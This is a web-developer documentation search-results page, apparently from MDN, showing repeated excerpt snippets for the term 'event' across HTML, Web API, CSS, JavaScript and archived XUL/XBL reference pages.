event.target.dataset.col, 10) - 1); break; case "arrowdown": moveto(parseint(
event.target.dataset.row, 10) + 1, parseint(
event.target.dataset.col, 10)); break; case "arrowup": moveto(parseint(
event.target.dataset.row, 10) - 1, parseint(
event.target.dataset.col, 10)); break; case "home": if (
event.ctrlkey) { var i = 0; var result; do { var j = 0; var result; do { result = moveto(i, j); j++; } while (resu...
...row, 10) - 1, parseint(
event.target.dataset.col, 10)); break; case "home": if (
event.ctrlkey) { var i = 0; var result; do { var j = 0; var result; do { result = moveto(i, j); j++; } while (result == false); i++; } while (result == false); } else { moveto(parseint(
event.target.dataset.row, 10), 0); } break; case "end": if (
event.ctrlkey) { var i = maxrow; var result; do { var j = maxcol; do { result = moveto(i, j); j--; } while (result == false); i--; } while (result == false); } else { moveto(parseint(
event.target.dataset.row, 10),...
...And 7 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
er words, it sends the origin: http header with a cookie, a certificate, or performing http basic authentication. if the server does not give credentials to the origin site (through access-control-allow-credentials: http header), the image will be tainted and its usage restricted. when not present, the resource is fetched without a cors request (i.e. ...
...otherwise, setting currenttime sets the current playback position to the given time and seeks the media to that position if the media is currently loaded. ...
...y is specified, the browser would obviously need to start downloading the audio for playback. the browser is not forced by the specification to follow the value of this attribute; it is a mere hint. src the url of the audio to embed. this is subject to http access controls. this is optional; you may instead use the <source> element within the audio block to specify the audio to embed.
events
event name fired when audioprocess the input buffer of a scriptprocessornode is ready to be processed. canplay the browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content. canplaythrough the browser estimates it can play the media up ...
...And 7 more matches
<input type="button"> - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: while <input> elements of type button are still perfectly valid html, the newer <button> element is now the favored way to create buttons. ...
.../interactive-examples and send us a pull request. note: while <input> elements of type button are still perfectly valid html, the newer <button> element is now the favored way to create buttons. given that a <button>’s label text is inserted between the opening and closing tags, you can include html in the label, even images. value a domstring used as the button's label
events click supported common attributes type, and value idl attributes value methods none value an <input type="button"> elements' value attribute contains a domstring that is used as the button's label. <input type="button" value="click me"> if you don't specify a value, you get an empty button: <input type="button"> using buttons <input typ...
...fy a value, you get an empty button: <input type="button"> using buttons <input type="button"> elements have no default behavior (their cousins, <input type="submit"> and <input type="reset"> are used to submit and reset forms, respectively). to make buttons do anything, you have to write javascript code to do the work. ...
...And 7 more matches
IDBRequest - Web APIs
the idbrequest interface of the indexeddb api provides access to results of asynchronous requests to databases and database objects using
event handler attributes. each reading and writing operation on a database is done using a request. the request object does not initially contain any information about the result of the operation, but once information becomes available, an
event is fired on the request, and the information becomes available through the properties of the idbrequest instance. all asynchronous operations immediately return an idbrequest instance. ...
...t is fired on the request, and the information becomes available through the properties of the idbrequest instance. all asynchronous operations immediately return an idbrequest instance. each request has a readystate that is set to the 'pending' state; this changes to 'done' when the request is completed or fails. when the state is set to done, every request returns a result and an error, and an
event is fired on the request. when the state is still pending, any attempt to access the result or error raises an invalidstateerror exception. in plain words, all asynchronous methods return a request object. if the request has been completed successfully, the result is made available through the result property and an
event indicating success is fired at the request (idbrequest.onsuccess). if an er...
... the interface idbopendbrequest is derived from idbrequest. note: this feature is available in web workers. ...
...And 6 more matches
Capabilities, constraints, and settings - Web APIs
dia() time, asking for an ideal set of options with fallbacks for the video. you can specify one or more media input device ids to establish restrictions on which input sources are allowed. to collect a list of the available devices, you can call navigator.mediadevices.enumeratedevices(), then for each device which meets the desired criteria, add its deviceid to the mediaconstraints object that
eventually gets passed into getusermedia(). you can also change the constraints of an existing mediastreamtrack on the fly, by calling the track's applyconstraints() method, passing into it an object representing the constraints you wish to apply to the track: videotrack.applyconstraints({ width: 1920, height: 1080 }); in this snippet, the video track referenced by videotrack is updated so tha...
...deo from a source matching the inputs (typically a webcam, although if you provide the right constraints you can get media from other sources). when the stream is obtained, it's attached to the <video> element so that it's visible on screen, and we grab the audio track and video track into the variables audiotrack and videotrack. then we set up a promise which resolves when the onloadedmetadata
event occurs on the video element. when that happens, we know the video has started playing, so we call our getcurrentsettings() function (described above) to display the actual settings that the browser decided upon after considering our constraints and the capabilities of the hardware. if an error occurs, we log it using the handleerror() method that we'll look at farther down in this article. we...
...ment. when that happens, we know the video has started playing, so we call our getcurrentsettings() function (described above) to display the actual settings that the browser decided upon after considering our constraints and the capabilities of the hardware. if an error occurs, we log it using the handleerror() method that we'll look at farther down in this article. we also need to set up an
event listener to watch for the "start video" button to be clicked: document.getelementbyid("startbutton").add
eventlistener("click", function() { startvideo(); }, false); applying constraint set updates next, we set up an
event listener for the "apply constraints" button. if it's clicked and there's not already media in use, we call startvideo(), and let that function handle starting the stream w...
...And 6 more matches
ServiceWorkerGlobalScope.onpush - Web APIs
the serviceworkerglobalscope.onpush
event of the serviceworkerglobalscope interface is fired whenever a push message is received by a service worker via a push server. syntax serviceworkerglobalscope.onpush = function(push
event) { ... } self.add
eventlistener('push', function(push
event) { ... }) example the following example takes data from a push
event and displays it on all of the service worker's clients. ...
...e interface is fired whenever a push message is received by a service worker via a push server. syntax serviceworkerglobalscope.onpush = function(push
event) { ... } self.add
eventlistener('push', function(push
event) { ... }) example the following example takes data from a push
event and displays it on all of the service worker's clients. ...
...sh message is received by a service worker via a push server. syntax serviceworkerglobalscope.onpush = function(push
event) { ... } self.add
eventlistener('push', function(push
event) { ... }) example the following example takes data from a push
event and displays it on all of the service worker's clients. ...
...And 6 more matches
Border-radius generator - CSS: Cascading Style Sheets
or: #333; } #unit-selection select:hover { cursor: pointer; } #unit-selection .dropdown:before { content: ""; width: 18px; height: 20px; display: block; background-color: #555; background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png"); background-position: center center; background-repeat: no-repeat; top: 0px; right: 0px; position: absolute; z-index: 1; pointer-
events: none; } #unit-selection .unit-top-left { top: 0; left: 0; display: none; } #unit-selection .unit-top-left-w { top: -22px; left: 30px; } #unit-selection .unit-top-left-h { top: 20px; left: -37px; } #unit-selection .unit-top-right { top: 0; right: 0; display: none; } #unit-selection .unit-top-right-w { top: -22px; right: 30px; } #unit-selection .unit-top-right-h { top: 20px; r...
...lect: text; -ms-user-select: text; user-select: text; float: right; } javascript content 'use strict'; /** * ui-inputslidermanager */ var inputslidermanager = (function inputslidermanager() { var subscribers = {}; var sliders = []; var inputcomponent = function inputcomponent(obj) { var input = document.createelement('input'); input.setattribute('type', 'text'); input.add
eventlistener('click', function(e) { this.select(); }); input.add
eventlistener('change', function(e) { var value = parseint(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); subscribe(obj.topic, function(value) { input.value = value + obj.unit; }); return input; } var slidercomponent = function slid...
...t(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); subscribe(obj.topic, function(value) { input.value = value + obj.unit; }); return input; } var slidercomponent = function slidercomponent(obj, sign) { var slider = document.createelement('div'); var startx = null; var start_value = 0; slider.add
eventlistener("click", function(e) { setvalue(obj.topic, obj.value + obj.step * sign); }); slider.add
eventlistener("mousedown", function(e) { startx = e.clientx; start_value = obj.value; document.body.style.cursor = "e-resize"; document.add
eventlistener("mousemove", slidermotion); }); document.add
eventlistener("mouseup", function(e) { document.remove
eventlistener("mousemove"...
...And 6 more matches
Using CSS transitions - CSS: Cascading Style Sheets
make javascript functionality smooth transitions are a great tool to make things look much smoother without having to do anything to your javascript functionality. take the following example. <p>click anywhere to move the ball</p> <div id="foo"></div> using javascript you can make the effect of moving the ball to a certain position happen: var f = document.getelementbyid('foo'); document.add
eventlistener('click', function(ev){ f.style.transform = 'translatey('+(ev.clienty-25)+'px)'; f.style.transform += 'translatex('+(ev.clientx-25)+'px)'; },false); with css you can make it smooth without any extra effort. simply add a transition to the element and any change will happen smoothly: p { padding-left: 60px; } #foo { border-radius: 50px; width: 50px; height: 50px; backgr...
...this value isn't affected by the value of t...
...adding-left: 60px; } #foo { border-radius: 50px; width: 50px; height: 50px; background: #c00; position: absolute; top: 0; left: 0; transition: transform 1s; } you can play with this here: http://jsfiddle.net/9h261pzo/291/ detecting the start and completion of a transition you can use the transitionend
event to detect that an animation has finished running. ...
...And 6 more matches
Using Promises - JavaScript
since most people are consumers of already-created promises, this guide will explain consumption of returned promises before explaining how to create them. essentially, a promise is a returned object to which you attach callbacks, instead of passing callbacks into a function. imagine a function, createaudiofileasync(), which asynchronously generates a sound file given a configuration record and two callback functions, one called if the audio file is successfully created, and the other called if an error occurs. ...
... const promise = createaudiofileasync(audiosettings); promise.then(successcallback, failurecallback); we call this an asynchronous function call. this convention has several advantages. we will explore each one. guarantees unlike old-fashioned passed-in callbacks, a promise comes with some guarantees: callbacks will never be called before the completion of the current run of the javascript
event loop. callbacks added with then(), as above, will be called even after the success or failure of the asynchronous operation. multiple callbacks may be added by calling then() several times. each callback is executed one after another, in the order in which they were inserted. one of the great things about using promises is chaining. chaining a common need is to execute two or more asynchron...
... catch(error) { failurecallback(error); } } it builds on promises, e.g. dosomething() is the same function as before. you can read more about the syntax here. promises solve a fundamental flaw with the callback pyramid of doom, by catching all errors, even thrown exceptions and programming errors. this is essential for functional composition of asynchronous operations. promise rejection
events whenever a promise is rejected, one of two
events is sent to the global scope (generally, this is either the window or, if being used in a web worker, it's the worker or other worker-based interface). the two
events are: rejectionhandled sent when a promise is rejected, after that rejection has been handled by the executor's reject function. unhandledrejection sent when a promise is rejec...
...And 6 more matches
end - SVG: Scalable Vector Graphics
form>, and <set> usage notes default value none value <end-value-list> animatable no the <end-value-list> is a semicolon-separated list of values. each value can be one of the following: <offset-value> this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or domcontentloaded
event). negative values are valid. <syncbase-value> this value defines a syncbase and an optional offset from that syncbase. the element's animation end time is defined relative to the begin or active end of another animation. a valid syncbase-value consists of an id reference to another animation element followed by a dot and either begin or end to identify whether to synchronize with the beginning...
... element's animation end time is defined relative to the begin or active end of another animation. a valid syncbase-value consists of an id reference to another animation element followed by a dot and either begin or end to identify whether to synchronize with the beginning or active end of the referenced animation element. an optional offset value as defined in <offset-value> can be appended. ...
...ined relative to the begin or active end of another animation. a valid syncbase-value consists of an id reference to another animation element followed by a dot and either begin or end to identify whether to synchronize with the beginning or active end of the referenced animation element. an optional offset value as defined in <offset-value> can be appended. ...
...And 6 more matches
Connecting to Remote Content - Archive of obsolete content
pport it. besides xml, it can be used to retrieve data in other formats, for example json, html and plain text. in this section we'll look into the xml and json communication mechanisms. let url = "http://www.example.com/"; let request = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"] .createinstance(components.interfaces.nsixmlhttprequest); request.onload = function(a
event) { window.alert("response text: " + a
event.target.responsetext); }; request.onerror = function(a
event) { window.alert("error status: " + a
event.target.status); }; request.open("get", url, true); request.send(null); in this example we demonstrate how to make a xmlhttprequest call in asynchronous mode. you can see that an instance of the xmlhttprequest class is created and it holds all funct...
... of the xmlhttprequest class is created and it holds all functionality for making a request. we create this instance using xpcom instead of the usual way (new xmlhttprequest()) because this way works both in chrome and non-chrome code. following initialization, onload and onerror handlers are registered to a callback function to handle the response returned from the remote server. in both cases a
event.target is an nsixmlhttprequest. in the onload callback function, the responsetext parameter contains the server response as text. if the response is an xml document, the responsexml property will hold an xmldocument object that can be manipulated using dom methods. sometimes the server doesn't specify an xml content-type header, which is necessary for the xml parsing to happen automatically. you...
...rent versions of firefox and other applications. assume we need to parse the following data: {"shops": [{"name": "apple", "code": "a001"}, {"name": "orange"}], "total": 100} when the onload callback function is called, the response text is converted into a js object using the parse method. you can then use this object like any other javascript objects in your code. request.onload = function(a
event) { let text = a
event.target.responsetext; let jsobject = json.parse(text); window.alert(jsobject.shops[1].name); // => "orange" window.alert(jsobject.total); // => 2; }; the javascript object can also be serialized back with the stringify method. let string = json.stringify(jsobject); xml content xml is possibly the most popular data interchange format. let's assume that th...
...And 5 more matches
Custom XUL Elements with XBL - Archive of obsolete content
bl page. this somewhat cryptic explanation describes a very simple concept: with xbl you can create your own custom elements. xbl is heavily used in xul, but in theory it could be applied to any xml language. xbl was submitted to the w3c for standardization, but for now it's used in xul almost exclusively. with xbl you can define new elements and define their properties, attributes, methods and
event handlers. many complex elements such as tabs, buttons and input controls are implemented using xbl and simpler xul elements. as explained earlier, xul is really just boxes, text and images. we'll look into xbl using a modified version of the hello world extension. download the hello world xbl project, build it and test it for a while. you should see a new item in the hello world menu, that opens...
...e can now use the new element. if you look at file bindingdialog.xul, you'll see that the css stylesheet is included, which means that the xshelloperson tag can now be used just like any xul tag. in this case we're adding the "persons" dynamically, so you'll have to look into the js file to see how xshelloperson elements are created and added to the dom just like any other. addperson : function(a
event) { // ... let person = document.createelement("xshelloperson"); // ... person.setattribute("name", name); person.setattribute("greeting", greeting); // ... personlist.appendchild(person); // ... }, this is where the advantage of xbl is obvious: we only need to create a single node and set some attributes. we didn't need to create a whole xul structure that would require around 7...
...here are a couple of important things to notice: the "xul:" namespace must be used for all xul tags you have in your content. the xbl:inherits attribute lets your inner xul use the attributes that are set on the node. so, if you have this: <xshelloperson name...
...And 5 more matches
progress - Archive of obsolete content
lengthcomputable boolean specifies whether or not the total size of the transfer is known. read only. ...
... lengthcomputable boolean specifies whether or not the total size of the transfer is known. read only. ...
... lengthcomputable boolean specifies whether or not the total size of the transfer is known. read only. ...
...And 5 more matches
JXON - Archive of obsolete content
nattr++; } return null; }; jxontree.prototype.haschildren = function () { return this.keylength > 0; }; */ var myobject = new jxontree(doc); // we got our javascript object! try: alert(json.stringify(myobject)); note: if you want to freeze the whole object tree (because of the "static" nature of an xml document), uncomment the string: /* object.freeze(this); */. the object.freeze() method pr
events new properties from being added to it, pr
events existing properties from being removed and pr
events existing properties, or their enumerability, configurability, or writability, from being changed. in essence the object tree is made effectively immutable. with this algorithm our example becomes: { "catalog": { "product": { "catalog_item": [{ "item_number": { "keyvalue"...
..."@" + oattrib.name.tolowercase()] = parsetext(oattrib.value.trim()); } } /* object.freeze(this); */ } var myobject = new jxontree(doc); // we got our javascript object! try: alert(json.stringify(myobject)); note: if you want to freeze the whole object tree (because of the "static" nature of an xml document), uncomment the string: /* object.freeze(this); */. the object.freeze() method pr
events new properties from being added to it, pr
events existing properties from being removed and pr
events existing properties, or their enumerability, configurability, or writability, from being changed. in essence the object tree is made effectively immutable. with this algorithm our example becomes: { "catalog": { "product": { "catalog_item": [{ "item_number": { "keyv...
...lectedtxt); } /* if (nlength > 0) { object.freeze(vresult); } */ return vresult; } var myobject = getjxontree(doc); // we got our javascript object! try: alert(json.stringify(myobject)); note: if you want to freeze the whole object tree (because of the "static" nature of an xml document), uncomment the string: /* if (nlength > 0) { object.freeze(vresult); } */. the object.freeze() method pr
events new properties from being added to it, pr
events existing properties from being removed and pr
events existing properties, or their enumerability, configurability, or writability, from being changed. in essence the object tree is made effectively immutable. with this algorithm, our example becomes: { "catalog": { "product": { "@description": "cardigan sweater", "catalog_item": ...
...And 5 more matches
Drag and Drop - Archive of obsolete content
in their place. this section describes how to implement objects that can be dragged around and dropped onto other objects. the drag and drop interface many user interfaces allow one to drag particular objects around within the interface. for example, dragging files to other directories, or dragging an icon to another window to open the document it refers to. mozilla and xul provide a number of
events that can handle when the user attempts to drag objects around. a user can start dragging by holding down the mouse button and moving the mouse. the drag stops when the user releases the mouse.
event handlers are called when the user starts and ends dragging, and at various points in-between. mozilla implements dragging by using a drag session. when a user requests to drag something that can be...
...ng the mouse cursor and where the object should be dropped. if something cannot be dragged, it should not start a drag session. because the user generally has only one mouse, only one drag session is in use at a time. note that drag sessions can be created from within mozilla itself or from other applications. mozilla will translate the data being dragged as needed. the list below describes the
event handlers that can be called, which may be placed on any element. you only need to put values for the handlers where you need to do something when the
event occurs. ondrag called periodically throughout the drag and drop operation. ondraggesture called when the user starts dragging the element, which normally happens when the user holds down the mouse button and moves the mouse. the script ...
...if the object can be dropped on the element, the drag session should be notified. ...
...And 5 more matches
Updating Commands - Archive of obsolete content
the code above is all you need to implement the functionality of the paste command in your application. the only other thing you need to do is ensure that the enabled status of the paste command, and therefore the button, is updated at the right time, which is described below. command updaters a command updater is a feature of the commandset element which allows it to update commands when certain
events happen. you will need to think about when a command is valid and when it is not. in addition, you will need to consider when the state could change and when the commands should be updated. for example, the paste command is valid when a textbox has the focus and there is something on the clipboard to paste. the command will become enabled whenever a textbox is focused and when the clipboard conte...
... and there is something on the clipboard to paste. the command will become enabled whenever a textbox is focused and when the clipboard contents change. a command updater will listen for these situations and code can be executed which enables and disables commands as necessary. a simple command updater looks like this: <commandset id="updatepasteitem" commandupdater="true"
events="focus" oncommandupdate="goupdatecommand('cmd_paste');"/> a command updater is indicated by using the commandupdater attribute, which should be set to true. the
events attribute is used to list the
events that the command updater listens for. you can specify multiple
events by separating them with commas. in the example above, the command updater listens for the focus
event. this ca...
...in the example, the goupdatecommand method is called which is a function provided by the globaloverlay.js script described earlier. it will update the command and enable or disable necessary buttons and menu items. ...
...And 5 more matches
Using the Editor from XUL - Archive of obsolete content
pt code in globaloverlay.js tries to call a trytoclose method on each window. in editor.js, we set this to call editorcanclose(). if the user chooses to save the document, or throw away their changes, then the window is closed. when the last reference to the nseditorshell goes away (as a result of nseditorboxobject releasing its reference) it releases the owning reference on the editor. editor
event handling editing operations happen in response to user
events: mouse, key, drag and drop, and ime (international text input)
events. in order to receive these
events, the editor registers several
event listeners on the document being edited. in addition, editor actions in the user interface are propagated via the xul and javascript, and call methods on the nseditorshell. this editor command disp...
...these get installed for all types of editor (i.e. ...
...these get installed for all types of editor (i.e. ...
...And 5 more matches
command - Archive of obsolete content
tton label="help" command="cmd_openhelp"/> <button label="more help" command="cmd_openhelp"/> attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...us and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. oncommand type: script code this
event handler is called when the command is activated. this occurs when a user selects a menu item or presses a keyboard shortcut attached to the command. reserved type: string this attribute applies to a command element. setting this attribute to "true" indicates that the command is reserved for chrome code and is not available for use in the content. this means that, to execute these comma...
...is called when the command is activated. this occurs when a user selects a menu item or presses a keyboard shortcut attached to the command. reserved type: string this attribute applies to a command element. setting this attribute to "true" indicates that the command is reserved for chrome code and is not available for use in the content. ...
...And 5 more matches
Binding Attachment and Detachment - Archive of obsolete content
, meaning that there is no connection in the xbl documents between the two bindings. the inheritance link has been forged dynamically through the invocation of the element.style.mozbinding. <constructor> call as a document is loaded and style rules are matched for elements, any binding documents that are encountered will load as needed. ...
... xbl documents between the two bindings. the inheritance link has been forged dynamically through the invocation of the element.style.mozbinding. <constructor> call as a document is loaded and style rules are matched for elements, any binding documents that are encountered will load as needed. binding document loads suppress the firing of the dom load
event for the bound document. ...
...tyle rules are matched for elements, any binding documents that are encountered will load as needed. binding document loads suppress the firing of the dom load
event for the bound document. when the load
event fires, and if all binding documents loaded successfully, it can be assumed that all bindings are attached to all elements in the page. for elements that are created during or after the load
event is fired, no assumptions can be made regarding order of binding attachment. when a binding is attached, the following
events occur: if required, anonymous content is cloned from the binding's content template and inserted around the bound element. the methods and properties of the binding are installed on the element and become available to scripts that reference the bound element. any spec...
...And 4 more matches
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
e latter is possible, but is not recommended and is harder to implement. adding a button to the toolbar palette is very easy. just add code like this to your overlay: <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="myextension-button" class="toolbarbutton-1" label="&toolbarbutton.label;" tooltiptext="&toolbarbutton.tooltip;" oncommand="myextension.ontoolbarbuttoncommand(
event);"/> </toolbarpalette> notes: the id of the palette (browsertoolbarpalette in the example) depends on the window (the parent window of the toolbar you wish to insert a button). see below for the list of common palette ids. class="toolbarbutton-1" makes the toolbar button appear correctly in icons and text mode; it also adjusts padding. set the command to be executed when the button is cli...
...olbar you wish to insert a button). see below for the list of common palette ids. class="toolbarbutton-1" makes the toolbar button appear correctly in icons and text mode; it also adjusts padding. set the command to be executed when the button is clicked in the oncommand attribute. if you need to handle middle-click, add this line after the oncommand line. ...
...oolbarbutton-1" makes the toolbar button appear correctly in icons and text mode; it also adjusts padding. set the command to be executed when the button is clicked in the oncommand attribute. if you need to handle middle-click, add this line after the oncommand line. ...
...And 4 more matches
Keyboard Shortcuts - Archive of obsolete content
however, it would be tedious to do that for every button and menu item (though it could be necessary when one's key commands are only triggered when the user is focused on a particular element). creating a keyboard shortcut xul provides methods in which you can define keyboard shortcuts. we've already seen in the section on menus that we can define an attribute called accesskey which specifies the key which a user can press to activate the menu or menu item. in the example below, the file menu can be selected by pressing alt + f together (or some other key combination for a specific platform). ...
... the vk_numpad keys (such as vk_numpad1). refer to the mozilla keyboard planning faq and cross reference for more information about selecting keyboard shortcuts to use in applications. using the keyboard shortcuts now that we know how to define keyboard shortcuts, we'll find out how we can use them. there are two ways. the first way is the simplest and just requires that you use the command
event handler on the key element. when the user presses the key, the script will be invoked. an example is shown below: <keyset> <key id="copy-key" modifiers="accel" key="c" oncommand="docopy();"/> </keyset> the function docopy will be called when the user presses the keys specified by the key element, which in this example, are the keys for copying to the clipboard (such as control + c). this wil...
...skey="t" key="cut_cmd"/> <menuitem label="copy" accesskey="c" key="copy_cmd"/> <menuitem label="paste" accesskey="p" key="paste_cmd" disabled="true"/> </menupopup> </menu> </menubar> </toolbox> </vbox> </window> now we can use those shortcuts to activate the commands. of course, the clipboard commands don't do anything anyway, as we haven't written those scripts. ...
...And 4 more matches
arrowscrollbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a box which provides scroll arrows along its edges for scrolling through the contents of the box. the user only needs to hover the mouse over the arrows to scroll the box. this element is typically used for large popup menus. hovering the mouse over one of the (active) arrows triggers a scroll
event. more information is available in the xul tutorial. attributes clicktoscroll, disabled, smoothscroll, tabindex properties disabled, scrollboxobject, scrollincrement, smoothscroll, tabindex methods ensureelementisvisible, scrollbyindex, scrollbypixels examples <arrowscrollbox orient="vertical" flex="1"> <button label="red"/> <button label="blue"/> <button label="green"/> <...
...="1"> <button label="red"/> <button label="blue"/> <button label="green"/> <button label="yellow"/> <button label="orange"/> <button label="silver"/> <button label="lavender"/> <button label="gold"/> <button label="turquoise"/> <button label="peach"/> <button label="maroon"/> <button label="black"/> </arrowscrollbox> attributes inherited from xul element align, allow
events, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...croll the scrollbox content. if false, the mouse must be hovered over the arrows to scroll automatically. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...And 4 more matches
browser - Archive of obsolete content
tory for the docshell attached to the browser while keeping session history active. disablesecurity type: boolean set this attribute to true to disable the security ui for this browser. omit this attribute off to enable it. droppedlinkhandler type: function this function is called when links are dropped to the browser element, with the following arguments. ...
...session history active. disablesecurity type: boolean set this attribute to true to disable the security ui for this browser. omit this attribute off to enable it. droppedlinkhandler type: function this function is called when links are dropped to the browser element, with the following arguments. droppedlinkhandler(
event, uri, name) -- firefox 51 or older droppedlinkhandler(
event, links) -- firefox 52 or newer
event -- drop
event, or null if no
event is available uri -- uri string of the dropped link name -- name string of the dropped link links -- array of the dropped items with nsidroppedlinkitem interface homepage type: url this attribute allows you to set a homepage for the browser element. it does not have any correlation with the user's brows...
...cuments are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targetable and content-primary) indicating that the subdocument is of content type. this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and pr
eventing documents from inheriting the principal of the parent document. the type attribute on all frames in content documents is ignored; subdocuments of content documents are always content documents. warning: the type attribute must be set before the element is inserted into the document. content a browser for content. the content that is loaded inside the browser is not allowed to acce...
...And 4 more matches
button - Archive of obsolete content
it is typically rendered as a grey outset rectangle. you can specify the label of the button using the label attribute or by placing content inside the button. more information is available in the xul tutorial. ...
... right to left or bottom to top. this is reverse of the order in which they appear in the xul code. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...isible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. dlgtype type: one of the values below the dialog type of the button, used only when the button is in a dialog box. you can use this feature to replace the standard dialog box buttons with custom buttons, yet the dialog
event methods will still function. for example, if the dlgtype is set to accept, the button will replace the dialog box's accept button, which is usually labeled ok. using this attribute on a button that is not in a dialog box has no effect. the following values can be used as the dialog type: accept the ok button, which will accept the changes when pressed. cancel the cancel button which w...
...And 4 more matches
datepicker - Archive of obsolete content
perty may be used to set a new value in the form yyyy-mm-dd. the datevalue property may be used to retrieve and set the date using a date object. in addition, the date, month and year properties may be used to retrieve and modify each component of the date separately. ...
...etrieve and set the date using a date object. in addition, the date, month and year properties may be used to retrieve and modify each component of the date separately. !!attention: there is also a datepicker in tb-calendar with differing definitions for members (value is a date there) the change
event is fired whenever the date is changed. ...
...icker in tb-calendar with differing definitions for members (value is a date there) the change
event is fired whenever the date is changed. however, as described in mozilla bug #799219, a change
event handler may encounter erratic behavior when the date is changed using the keyboard instead of the mouse. to avoid this, you can use the workaround described here, i.e., use window.settimeout(actual-
event-handler-function, 0); to queue up your
event handler to run after the rest of the picker's change
event handlers. a monthchange
event is fired for the grid and popup datepickers whenever a new month is navigated to or displayed. attributes disabled, firstdayofweek, readonly, type, tabindex, value properties date, dateleadingzero, datevalue, disabled, month, monthleadingzero, open, reado...
...And 4 more matches
menu - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element, much like a button, that is placed on a menubar. when the user clicks the menu element, the child menupopup of the menu will be displayed. this element is also used to create submenus. more information is available in the xul tutorial. ...
... (accelerator key) to use to invoke the command. if this value is set, it overrides an assigned key set in the key attribute. this attribute does not apply to menus directly on the menubar. accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. allow
events type: boolean if true,
events are passed to children of the element. otherwise,
events are passed to the element only. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction...
...hen you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...And 4 more matches
menulist - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element that can be used for drop-down choice lists. the user may select one of the elements displayed in the menulist. the currently selected choice is displayed on the menulist element. to create the drop-down, put a menupopup inside the menulist containing the choices as menuitem elements. the command
event may be used to execute code when the menulist selection changes. more information is available in the xul tutorial. attributes accesskey, crop, disableautoselect, disabled, editable, focused, image, label, oncommand, open, preference, readonly, sizetopopup, tabindex, value properties accessibletype, crop, description, disableautoselect, disabled, editable, editor, image, inputfield, ite...
..., the selection is never updated to match the text box. this attribute applies only to editable menulists. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...y or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. oncommand type: script code this
event handler is called when the command is activated. this occurs when a user selects a menu item or presses a keyboard shortcut attached to the command. open type: boolean for the menu type buttons, the open attribute is set to true when the menu is open. the open attribute is not present if the menu is closed. preference type: id connects the element to a corresponding preference. ...
...And 4 more matches
preferences - Archive of obsolete content
ree of these could be merged into a single member attribute nsiprefservice service; the preferences service. attribute nsiprefbranch rootbranch; the root prefs branch. attribute nsiprefbranch defaultbranch; the root branch of the tree with default values. attribute nsiprefbranch2 rootbranchinternal; the root prefs branch (nsiprefbranch2). ...
